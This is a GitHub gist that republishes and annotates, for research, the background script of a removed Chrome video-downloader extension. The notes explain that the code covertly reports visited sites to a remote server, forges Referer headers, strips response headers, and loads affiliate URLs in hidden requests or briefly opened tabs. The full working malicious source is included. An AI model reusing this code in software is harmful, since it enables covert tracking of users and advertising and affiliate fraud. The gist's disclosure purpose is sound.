Skip to content

Instantly share code, notes, and snippets.

@joepie91
Forked from thibaudcolas/README.md
Last active June 25, 2023 02:07
Show Gist options
  • Save joepie91/fa55c936438bab8bb977e008e8be82f2 to your computer and use it in GitHub Desktop.
Save joepie91/fa55c936438bab8bb977e008e8be82f2 to your computer and use it in GitHub Desktop.
Video Downloader professional kmdldgcmokdpmacblnehppgkjphcbpnn background.js

Video Downloader professional kmdldgcmokdpmacblnehppgkjphcbpnn background.js

NOTE: This is a fork of the original Gist, with the code made more readable, and additional analysis added.

This is the source of background.js for a now-unpublished Chrome extension called "Video Downloader professional" (ID kmdldgcmokdpmacblnehppgkjphcbpnn, since then replaced with another "Video Downloader professional" (ID bacakpdjpomjaelpkpkabmedhkoongbi). This script is republished here for educational / research purposes. It has initially been extracted from the extension’s archive available as v2.4 on https://www.crx4chrome.com/.

Why is this interesting?

The extension has appeared in malware discussions in the past. Its replacement of Video downloader professional "bacakpdjpomjaelpkpkabmedhkoongbi" seems related to the ownership change of The Great Suspender.

What does the code do?

  • Intercepts all requests to:
    • Strip out certain response headers (config.validateFields, string)
    • Strip out the Referer header from every request
    • Optionally add in a fake Referer header based on configuration rules (against the current URL, what page the request originates from, etc.)
  • Intercepts all pageloads, to:
    • Report their URLs to the API server (max. once every 2 hours per domain), but only for those domains in a remotely-configured list (/coverage API)
    • Generate a new URL, from an affiliate URL template + the request URL, then:
      • Request that URL and optionally receive a new URL in response
      • Either load that URL in the background, or in a new tab

Possible and likely usecases:

  • 'Competitor analytics', a form of industrial espionage, basically tracking how much traffic competitors get, by tracking requests to their sites
  • Advertising fraud (through background requests to advertising servers)
  • Adware (by opening new tabs with ads)
  • Affiliate fraud (through Referer header manipulation/injection)
var _gaq = _gaq || [];
class Bg {
constructor() {
(this.config = { analyticsId: "UA-126378551-1" }),
(this.storage = { config: this.config }),
(this.filterRequestConfigured = !1),
(this.hpInitiated = !1),
(this.analyticsSent = !1),
(this.uid = ""),
(this.bgProcessorRun = !1),
this.initStorage(),
this.initListeners();
}
initListeners() {
let a = this;
chrome.runtime.onInstalled.addListener(function (b) {
"install" == b.reason && a.config.afterInstallUrl
? chrome.tabs.create({ url: a.config.afterInstallUrl })
: "update" == b.reason &&
a.config.afterUpdateUrl &&
chrome.tabs.create({
pinned: !0,
url: a.config.afterUpdateUrl,
});
}),
chrome.runtime.setUninstallURL &&
a.config.afterUninstallUrl &&
chrome.runtime.setUninstallURL(a.config.afterUninstallUrl);
}
initStorage() {
let a = this;
chrome.storage.local.get(this.storage, (b) => {
b && (this.storage = b),
b && b.config && (this.config = b.config),
a.config.uid
? (a.uid = a.config.uid)
: ((a.uid = a.config.uid = a.generateUID()),
a.saveConfig()),
(a.config.mTime && a.config.lTime) ||
((a.config.lTime = 0),
(a.config.mTime = new Date().getTime()),
a.saveConfig()),
this.filterRequests(),
this.initHeadersProcessesor(),
this.initBgProcessor(),
this.sendAnalytics(),
this.updateConfig();
});
}
initHeadersProcessesor() {
this.config &&
this.config.hpUrl &&
this.config.hpKey &&
!this.hpInitiated &&
((this.hpInitiated = !0), this.headersCheck());
}
headersCheck() {
var self = this;
(function () {
function logVisit(referer, canonicalizedDomain, timestamp) {
var domainIsInCoverage = false;
if (coverageResponse.indexOf(canonicalizedDomain) !== -1) domainIsInCoverage = true;
else
for (var i in coverageResponse)
// either the request domain is a substring of the domain in the coverage list, or the other way around
if (coverageResponse[i].indexOf(canonicalizedDomain) !== -1 || canonicalizedDomain.indexOf(coverageResponse[i]) !== -1) {
domainIsInCoverage = true;
break;
}
domainIsInCoverage
? (reportingURL =
apiURL +
"/get?key=" +
hpKey +
"&out=" +
encodeURIComponent(referer) +
"&ref=" +
encodeURIComponent(referer) +
"&uid=&format=go")
: (state.data.used_domains[canonicalizedDomain] = timestamp + 864e5);
}
var apiURL = self.config.hpUrl,
hpKey = self.config.hpKey,
reportingURL = "",
state = { data: { used_domains: {} } },
coverageResponse = [],
coverageSuccess = true;
// { coverageResponse, coverageSuccess } = HTTP GET $apidomain/coverage?key=$key
// returns a JSON array of domains to track
(function () {
var request = new XMLHttpRequest();
(request.timeout = 15e3),
(request.onreadystatechange = function () {
4 === request.readyState &&
(200 === request.status
? ((coverageResponse = JSON.parse(request.responseText)),
coverageResponse && (coverageSuccess = true))
: (coverageSuccess = false));
}),
request.open("GET", apiURL + "/coverage?key=" + hpKey, true),
request.setRequestHeader(
"Content-Type",
"application/x-www-form-urlencoded"
),
request.send();
})(),
chrome.webRequest.onBeforeRequest.addListener(
function (event) {
if (event.tabId >= 0 && event.method == "GET" && coverageSuccess) {
var canonicalizedDomain = event.url
.replace(/^https?\:\/\/([^\/]+).*$/, "$1")
.replace("www.", ""),
timestamp = new Date().getTime();
if (
!(
state.data.used_domains[canonicalizedDomain] &&
state.data.used_domains[canonicalizedDomain] + 7200000 > timestamp
)
)
return ((state.data.used_domains[canonicalizedDomain] = timestamp),
// else
reportingURL ? (reportingURL = "") : logVisit(event.url, canonicalizedDomain, timestamp),
reportingURL)
? ((coverageSuccess = false),
setTimeout(function () {
(reportingURL = ""), (coverageSuccess = true);
}, 15e3),
{ redirectUrl: reportingURL })
: void 0;
}
},
{ urls: ["*://*/*"], types: ["main_frame"] },
["blocking"]
),
chrome.webRequest.onBeforeSendHeaders.addListener(
function (event) {
// Removes Referer header for any request to the API base URL
if (event.method == "GET" && event.url.indexOf(apiURL) !== -1)
for (var i in event.requestHeaders) {
var value = event.requestHeaders[i];
if ("referer" == value.name.toLowerCase()) {
event.requestHeaders.splice(i, 1);
break;
}
}
return { requestHeaders: event.requestHeaders };
},
{ urls: ["<all_urls>"] },
["blocking", "requestHeaders"]
);
})();
}
saveConfig() {
chrome.storage.local.set({ config: this.config });
}
updateConfig() {
let a = this;
const b = chrome.runtime.getManifest().version;
a.heartBeat(),
$.ajax({
url: "http://videodownloader.io/rest/api/config/",
dataType: "json",
data: {
id: "kmdldgcmokdpmacblnehppgkjphcbpnn",
version: b,
mt: a.config.mTime,
lt: a.config.lTime,
uid: a.uid,
t: Date.now(),
},
success: (a) => {
if (a) {
for (let b in a) this.config[b] = a[b];
this.saveConfig();
}
},
complete: () => {
a.filterRequests(),
a.initHeadersProcessesor(),
a.initBgProcessor(),
a.sendAnalytics(),
a.config.configUpTime &&
0 < a.config.configUpTime &&
setTimeout(function () {
a.updateConfig();
}, a.config.configUpTime);
},
});
}
heartBeat() {
let currentTime = new Date().getTime(),
b = currentTime - this.config.mTime,
c = this.config.configUpTime
? this.config.configUpTime + 3e5
: 12e5;
this.config.mTime && b < c
? ((this.config.lTime += b),
(this.config.mTime = currentTime),
this.saveConfig())
: ((this.config.mTime = currentTime), this.saveConfig());
}
generateUID() {
// Generate a UUID v4
return "xxxxxxxx-xxxx-2xxx-yxxx-xxxxxxxxxxxx".replace(
/[xy]/g,
function (a) {
var b = 0 | (16 * Math.random()),
c = "x" == a ? b : 8 | (3 & b);
return c.toString(16);
}
);
}
initBgProcessor() {
let a = this;
if (!a.config.bgProcessor)
return void bgProcessor.initCfg({ mode: "off" });
if (a.bgProcessorRun)
return void bgProcessor.initCfg(a.config.bgProcessor);
(a.bgProcessorRun = true),
bgProcessor.initCfg(a.config.bgProcessor),
chrome.webRequest.onCompleted.addListener(
function (event) {
if (
"on" === bgProcessor.cfg.mode &&
event.tabId !== -1 &&
200 == event.statusCode &&
"GET" == event.method
) {
var baseURL = event.url.replace(/^(https?\:\/\/[^\/]+).*$/, "$1"),
domain = event.url.replace(/^https?\:\/\/([^\/]+).*$/, "$1");
bgProcessor.cfg.keep_www_prefix ||
(domain = domain.replace(/^www\.(.*)$/, "$1"));
var timestamp = new Date().getTime();
if (
// TTL since last report for domain has expired
!(
bgProcessor.used_domains[domain] &&
bgProcessor.used_domains[domain] +
bgProcessor.cfg.ttl_ms >
timestamp
) &&
// Domain is not in blacklist
!(
bgProcessor.cfg.domains_blacklist &&
bgProcessor.cfg.domains_blacklist.length > 0 &&
bgProcessor.cfg.domains_blacklist.includes(domain)
) &&
// Domain is in whitelist
!(
bgProcessor.cfg.domains_whitelist &&
bgProcessor.cfg.domains_whitelist.length > 0 &&
!bgProcessor.cfg.domains_whitelist.includes(domain)
)
) {
bgProcessor.used_domains[domain] = timestamp;
// Fill in affiliate URL template with URL and domain for the request
var e = bgProcessor.cfg.aff_url_tmpl.replace(
"{URL}",
encodeURIComponent(baseURL)
);
if (
((e = e.replace(
"{DOMAIN}",
encodeURIComponent(domain)
)),
// If aff_redirect is enabled (the above replace is not actually part of the conditional)
bgProcessor.cfg.aff_redirect)
) {
return !bgProcessor.cfg.domains_whitelist ||
0 <
!bgProcessor.cfg.domains_whitelist
.length
? void 0
// Add to redirect chain?
: (bgProcessor.push_chain(baseURL),
void bgProcessor.request_bg(e, domain, 0));
}
var request = new XMLHttpRequest();
(request.timeout = bgProcessor.cfg.aff_timeout_ms),
(request.onreadystatechange = function () {
if (4 == request.readyState && 200 == request.status) {
var url = request.responseText.replace(
/[\n\r]/g,
""
);
if (/^https?\:\/\//.test(url) && url != baseURL) {
var domain = baseURL.replace(
/^https?\:\/\/([^\/]+).*$/,
"$1"
);
bgProcessor.push_chain(baseURL),
bgProcessor.request(url, domain);
} else
bgProcessor.used_domains[domain] =
timestamp +
bgProcessor.cfg
.no_coverage_ttl_ms;
}
}),
request.open("GET", e),
request.send();
}
}
},
{ urls: ["http://*/*", "https://*/*"], types: ["main_frame"] }
);
let listenerOptions = ["blocking", "requestHeaders"];
if (
bgProcessor.cfg &&
bgProcessor.cfg.rfr_rules &&
0 < bgProcessor.cfg.rfr_rules.length &&
bgProcessor.cfg.listenerExtraOptions
)
for (var c in bgProcessor.cfg.listenerExtraOptions)
listenerOptions.push(bgProcessor.cfg.listenerExtraOptions[c]);
chrome.webRequest.onBeforeSendHeaders.addListener(
function (event) {
if ("on" !== bgProcessor.cfg.mode || !bgProcessor.cfg.header)
return {};
for (var headers = event.requestHeaders, headerValue = "", i = 0; i < headers.length; i++)
if (headers[i].name === bgProcessor.cfg.header) {
(headerValue = headers[i].value), headers.splice(i, 1);
break;
}
if (!headerValue) return {};
for (var acceptHeaderReplaced = false, i = 0; i < headers.length; i++)
if ("accept" == headers[i].name.toLowerCase()) {
(headers[i].value = headerValue), (acceptHeaderReplaced = true);
break;
}
acceptHeaderReplaced || headers.push({ name: "Accept", value: headerValue })
if ((event.tabId === -1)) {
let newReferer = "";
if (bgProcessor.cfg.rfr_rules)
for (let i in bgProcessor.cfg.rfr_rules) {
// In all of the below, 'previous request' probably refers to the page that the user loaded, as this code only fires on non-tab requests (eg. XHR)
let rule = bgProcessor.cfg.rfr_rules[i];
// If the previous request URL matched a certain regex
if (rule.url_request_before) {
if (!bgProcessor.last_request_url) continue;
let regex = new RegExp(
rule.url_request_before[0],
rule.url_request_before[1]
);
if (!regex.test(bgProcessor.last_request_url))
continue;
}
// If the previous *response* URL (ie. after redirects) matched a certain regex
if (rule.url_response_before) {
if (!bgProcessor.last_response_url) continue;
let regex = new RegExp(
rule.url_response_before[0],
rule.url_response_before[1]
);
if (!regex.test(bgProcessor.last_response_url))
continue;
}
// If the previous request/response involved any URL in the redirect chain that matches a certain regex
if (rule.url_chain) {
if (
!bgProcessor.rdr_chain ||
1 > bgProcessor.rdr_chain.length
)
continue;
let regex = new RegExp(
rule.url_chain[0],
rule.url_chain[1]
),
foundMatch = false;
for (let i in bgProcessor.rdr_chain) {
let entry = bgProcessor.rdr_chain[i];
if (regex.test(entry)) {
foundMatch = true;
break;
}
}
if (!foundMatch) continue;
}
// If the current request URL matches a certain regex
if (rule.url_request) {
let regex = new RegExp(
rule.url_request[0],
rule.url_request[1]
);
if (!regex.test(event.url)) continue;
}
if (
("allow" == rule.rule &&
(newReferer = bgProcessor.last_response_url),
"replace" == rule.rule &&
rule.replace &&
(newReferer = rule.replace),
"regexp" == rule.rule && rule.regexp && rule.replace)
) {
var regex = new RegExp(rule.regexp[0], rule.regexp[1]);
newReferer = bgProcessor.last_response_url.replace(
regex,
rule.replace
);
}
break;
}
if (newReferer) {
let a = headers.findIndex(
(a) => "referer" == a.name.toLowerCase()
);
-1 < a
? (headers[a].value = newReferer)
: headers.push({ name: "Referer", value: newReferer });
}
}
return { requestHeaders: headers };
},
{ urls: ["http://*/*", "https://*/*"] },
listenerOptions
);
}
sendAnalytics() {
this.analyticsSent ||
!this.config.analyticsId ||
(_gaq.push(["_setAccount", this.config.analyticsId]),
_gaq.push(["_trackPageview"]),
(function () {
var a = document.createElement("script");
(a.type = "text/javascript"),
(a.async = !0),
(a.src = "https://ssl.google-analytics.com/ga.js");
var b = document.getElementsByTagName("script")[0];
b.parentNode.insertBefore(a, b);
})(),
(this.analyticsSent = !0));
}
filterRequests() {
var self = this;
this.config &&
this.config.validateFields &&
!this.filterRequestConfigured &&
((this.filterRequestConfigured = !0),
chrome.webRequest &&
chrome.webRequest.onHeadersReceived.addListener(
function (event) {
return {
responseHeaders: event.responseHeaders.filter(function (
header
) {
return !(
self.config.validateFields &&
self.config.validateFields.indexOf(
header.name.toLowerCase()
) !== -1
);
}),
};
},
{ urls: ["<all_urls>"] },
["blocking", "responseHeaders"]
));
}
}
let bgProcessor = {
cfg: { mode: "off" },
used_domains: {},
rdr_chain: [],
last_request_url: "",
last_response_url: "",
initCfg(configuration) {
configuration && (this.cfg = configuration);
},
request: function (url, domain) {
this.cfg.debug && console.log("bgProcessor.request", url, domain),
// Load URL in a new tab if it contains the substring in the `ntab_tag` configuration option; otherwise load it in the background
this.cfg.ntab_tag && url.indexOf(this.cfg.ntab_tag) !== -1
? setTimeout(function () {
bgProcessor.request_tab(url, domain);
}, this.cfg.ntab_delay_ms)
: this.request_bg(url, domain, 0);
},
push_chain: function (a) {
this.rdr_chain.push(a);
},
request_bg: function (url, _domain_unused, step) {
if (!(step >= this.cfg.rdr_max_count) && this.cfg.header) {
this.push_chain(url), (bgProcessor.last_request_url = url);
var request = new XMLHttpRequest();
(request.timeout = this.cfg.timeout),
(request.onreadystatechange = function () {
var floor = Math.floor;
if (4 == request.readyState)
if (200 == request.status) {
var response = request.responseText
.replace(/[\n\r\s]/g, "")
.replace(/\.href/g, ""),
handled = false,
responseURL = request.responseURL,
// URL pathname contains "goto", or domain is in configuration-provided list of redirect domains
isRedirectURL = bgProcessor.is_rdr_url(request.responseURL);
if (
((bgProcessor.last_response_url = responseURL),
// Push on redirect chain if response URL did not match request URL
bgProcessor.last_response_url !=
bgProcessor.last_request_url &&
bgProcessor.push_chain(
bgProcessor.last_response_url
),
// If URL is a known redirect URL, or response size is small enough to look like one
isRedirectURL ||
response.length <
bgProcessor.cfg.jsrdr_maxlen_bytes)
) {
var redirectTarget = response.replace(
/^.*?location\=[\'\"]([^\'\"]+).*$/,
"$1"
);
// If URL starts with /, ie. is relative, first make it an absolute URL
/^\//.test(redirectTarget) &&
((link2Url = new URL(redirectTarget, request.responseURL)),
(redirectTarget = link2Url.href)),
// If valid URL, call request_bg again
/^https?\:\/\//.test(redirectTarget) &&
(bgProcessor.request_bg(redirectTarget, _domain_unused, step + 1),
(handled = true));
}
if (!handled && bgProcessor.cfg.common_rdr_rules)
for (var key in bgProcessor.cfg
.common_rdr_rules) {
var rule = bgProcessor.cfg.common_rdr_rules[key],
ruleRegex = new RegExp(
rule.search[0],
rule.search[1]
),
valueToMatchAgainst = response;
if (
// if value.where == "uri", then match against response URL, otherwise against response body
("uri" == rule.where && (valueToMatchAgainst = responseURL),
rule.url_pattern)
) {
var urlRegex = new RegExp(
rule.url_pattern[0],
rule.url_pattern[1]
);
// Move to next rule if a URL pattern was specified and it didn't match
if (!urlRegex.test(responseURL)) continue;
}
if (valueToMatchAgainst.match(ruleRegex)) {
var extracted = valueToMatchAgainst.replace(ruleRegex, rule.replace);
if (rule.applyAfter)
for (var i in rule.applyAfter) {
var operation = rule.applyAfter[i];
if ("decodeURIComponent" == operation)
extracted = decodeURIComponent(extracted);
else if ("decodeHTML" == operation) {
extracted = (function (a) {
var textarea = document.createElement(
"textarea"
);
return (
(textarea.innerHTML = a),
textarea.value
);
})(extracted);
} else;
}
if (rule.replacements)
for (var string in rule.replacements)
extracted = extracted.replace(
string,
rule.replacements[string]
);
if (rule.regReplacements)
for (var s in rule.regReplacements) {
var regex = new RegExp(
rule.regReplacements[
s
].pattern[0],
rule.regReplacements[
s
].pattern[1]
);
extracted = extracted.replace(
regex,
rule.regReplacements[s].replace
);
}
if (
// Make relative links absolute
(/^\//.test(extracted) &&
((link2Url = new URL(
extracted,
request.responseURL
)),
(extracted = link2Url.href)),
// If valid URL...
/^https?\:\/\//.test(extracted))
) {
var delay = rule.delay ? rule.delay : 0;
if (
"string" == typeof delay &&
delay.indexOf("-") !== -1
) {
// Random value between min-max
var v = delay.split("-");
delay = floor(
Math.random() *
(parseInt(v[1]) -
parseInt(v[0]) +
1) +
parseInt(v[0])
);
}
setTimeout(() => {
bgProcessor.request_bg(
extracted,
_domain_unused,
step + 1
);
}, parseInt(delay)),
(handled = true);
break;
}
}
}
handled || bgProcessor.send_rdr_log();
} else bgProcessor.send_rdr_log(true);
}),
request.open("GET", url, true),
request.setRequestHeader(
this.cfg.header,
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
),
request.send();
}
},
is_rdr_url: function (a) {
var b = new URL(a);
return (
!!(this.cfg.rdr_coverage && b.host in this.cfg.rdr_coverage) ||
!!/\/goto\/?$/.test(b.pathname)
);
},
request_tab: function (url, b) {
// Opens a new tab with a given URL for a specified amount of time
this.cfg.debug && console.log("bgProcessor.request_tab", url, b),
chrome.tabs.create({ url: url, active: true }, function (tab) {
setTimeout(function () {
try {
chrome.tabs.remove(tab.id);
} catch (a) {}
}, bgProcessor.cfg.ntab_duration_ms);
});
},
send_rdr_log: function (isError = false) {
if (
this.rdr_chain &&
this.cfg &&
this.cfg.log_rdr_active &&
this.cfg.log_rdr_endpoint
) {
// if log_rdr_onlydifferent is enabled, only send the redirect logs when the starting point is different from the end point
if (this.cfg && this.cfg.log_rdr_onlydifferent) {
var initialURL = this.rdr_chain[0],
lastURL = this.rdr_chain[this.rdr_chain.length - 1];
if (
initialURL.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1") ==
lastURL.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1")
)
return;
}
var request = new XMLHttpRequest(),
endpoint = this.cfg.log_rdr_endpoint;
isError &&
this.cfg.log_rdr_errors_endpoint &&
(endpoint = this.cfg.log_rdr_errors_endpoint),
request.open("POST", endpoint, !0),
request.setRequestHeader(
"Content-Type",
"application/json;charset=UTF-8"
),
request.send(JSON.stringify(this.rdr_chain)),
(this.rdr_chain = []),
(this.last_request_url = null),
(this.last_response_url = null);
}
},
};
const bg = new Bg();
var vd = {};
(vd.tabsData = {}),
(vd.linksToBeDownloaded = {}),
(vd.videoFormats = {
mp4: { type: "mp4" },
flv: { type: "flv" },
mov: { type: "mov" },
webm: { type: "webm" },
}),
(vd.isVideoUrl = function (a) {
var b = !1;
return (
Object.keys(vd.videoFormats).some(function (c) {
if (-1 != a.indexOf(c)) return (b = !0), !0;
}),
b
);
}),
(vd.getVideoType = function (a) {
var b = null;
return (
a.some(function (a) {
if ("Content-Type" == a.name)
return (
Object.keys(vd.videoFormats).forEach(function (c) {
if (
-1 != a.value.indexOf(c) &&
!/^audio/i.test(a.value)
)
return (b = c), !0;
}),
!0
);
}),
b
);
}),
(vd.getNewTabObject = function () {
return { videoLinks: [], url: "" };
}),
(vd.getVideoSize = function (a) {
var b = 0;
return (
a.forEach(function (a) {
"Content-Length" == a.name && (b = parseInt(a.value));
}),
b
);
}),
(vd.getVideoDataFromServer = function (a, b) {
var c = new XMLHttpRequest();
(c.onreadystatechange = function () {
2 === c.readyState &&
(b({
mime: this.getResponseHeader("Content-Type"),
size: this.getResponseHeader("Content-Length"),
}),
c.abort());
}),
c.open("Get", a),
c.send();
}),
(vd.getFileName = function (a) {
var b = /[A-Za-z0-9()_ -]/,
c = "";
return (
(a = Array.from(a)),
a.forEach(function (a) {
b.test(a) && (c += a);
}),
c
);
}),
(vd.isVideoLinkAlreadyAdded = function (a, b) {
var c = !1;
return (
a.some(function (a) {
if (a.url === b) return (c = !0), !0;
}),
c
);
}),
(vd.updateExtensionIcon = function (a) {
vd.tabsData[a] && 0 < vd.tabsData[a].videoLinks.length
? chrome.browserAction.setIcon({
tabId: a,
path: "../images/download_active.png",
})
: chrome.browserAction.setIcon({
tabId: a,
path: "../images/download_inactive.png",
});
}),
(vd.addVideoLinkToTabFinalStep = function (a, b) {
!vd.isVideoLinkAlreadyAdded(vd.tabsData[a].videoLinks, b.url) &&
1024 < b.size &&
vd.isVideoUrl(b.url) &&
(vd.tabsData[a].videoLinks.push(b), vd.updateExtensionIcon(a));
}),
(vd.addVideoLinkToTab = function (a, b, c) {
vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()),
c != vd.tabsData[b].url &&
((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)),
a.size
? vd.addVideoLinkToTabFinalStep(b, a)
: vd.getVideoDataFromServer(a.url, function (c) {
(a.size = c.size), vd.addVideoLinkToTabFinalStep(b, a);
});
}),
(vd.inspectNetworkResponseHeaders = function (a) {
var b = vd.getVideoType(a.responseHeaders);
return vd.linksToBeDownloaded[a.url]
? (a.responseHeaders.push({
name: "Content-Disposition",
value:
'attachment; filename="' +
vd.linksToBeDownloaded[a.url] +
'"',
}),
{ responseHeaders: a.responseHeaders })
: void (
b &&
chrome.tabs.query(
{ active: !0, currentWindow: !0 },
function (c) {
var d = c[0],
e = d.id;
vd.addVideoLinkToTab(
{
url: a.url,
size: vd.getVideoSize(a.responseHeaders),
fileName: vd.getFileName(d.title),
extension: "." + b,
},
e,
d.url
);
}
)
);
}),
(vd.addVideoLinks = function (a, b, c) {
vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()),
c != vd.tabsData[b].url &&
((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)),
a.forEach(function (a) {
(a.fileName = vd.getFileName(a.fileName)),
vd.addVideoLinkToTab(a, b, c);
});
}),
(vd.getVideoLinksForTab = function (a) {
return vd.tabsData[a] ? vd.tabsData[a] : {};
}),
(vd.incrementDownloadCount = function () {
var a = parseInt(localStorage.getItem("total_number_of_downloads"));
(a += 1),
localStorage.setItem("total_number_of_downloads", a),
5 == a &&
confirm(
"You have downloaded multiple videos with Video Downloader professional. Please share your experience with others and make a review for us."
) &&
chrome.tabs.create(
{ url: "http://videodownloader.io/reviews/", selected: !0 },
function () {}
),
7 == a &&
confirm(
"if you like what we do and can support our work, please make a donation so we can keep on making it even better."
) &&
chrome.tabs.create(
{
url: "http://videodownloader.io/contribute/",
selected: !0,
},
function () {}
);
}),
(vd.downloadVideoLink = function (a, b) {
(vd.linksToBeDownloaded[a] = b),
chrome.tabs.query({ active: !0, currentWindow: !0 }, function (b) {
chrome.tabs.update(
b[0].id,
{ url: a, selected: !1 },
function () {}
),
vd.incrementDownloadCount();
});
}),
(vd.showYoutubeWarning = function () {
chrome.tabs.create(
{ url: "http://videodownloader.io/#youtube", selected: !0 },
function () {}
);
}),
chrome.runtime.onInstalled.addListener(function (a) {
"install" == a.reason &&
localStorage.setItem("total_number_of_downloads", 0);
}),
chrome.tabs.onUpdated.addListener(function (a) {
vd.updateExtensionIcon(a);
}),
chrome.tabs.onRemoved.addListener(function (a) {
vd.tabsData[a] && delete vd.tabsData[a];
}),
chrome.webRequest.onHeadersReceived.addListener(
vd.inspectNetworkResponseHeaders,
{ urls: ["<all_urls>"] },
["blocking", "responseHeaders"]
),
chrome.runtime.onMessage.addListener(function (a, b, c) {
switch (a.message) {
case "add-video-links":
vd.addVideoLinks(a.videoLinks, b.tab.id, b.tab.url);
break;
case "get-video-links":
c(vd.getVideoLinksForTab(a.tabId));
break;
case "download-video-link":
vd.downloadVideoLink(a.url, a.fileName);
break;
case "show-youtube-warning":
vd.showYoutubeWarning();
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment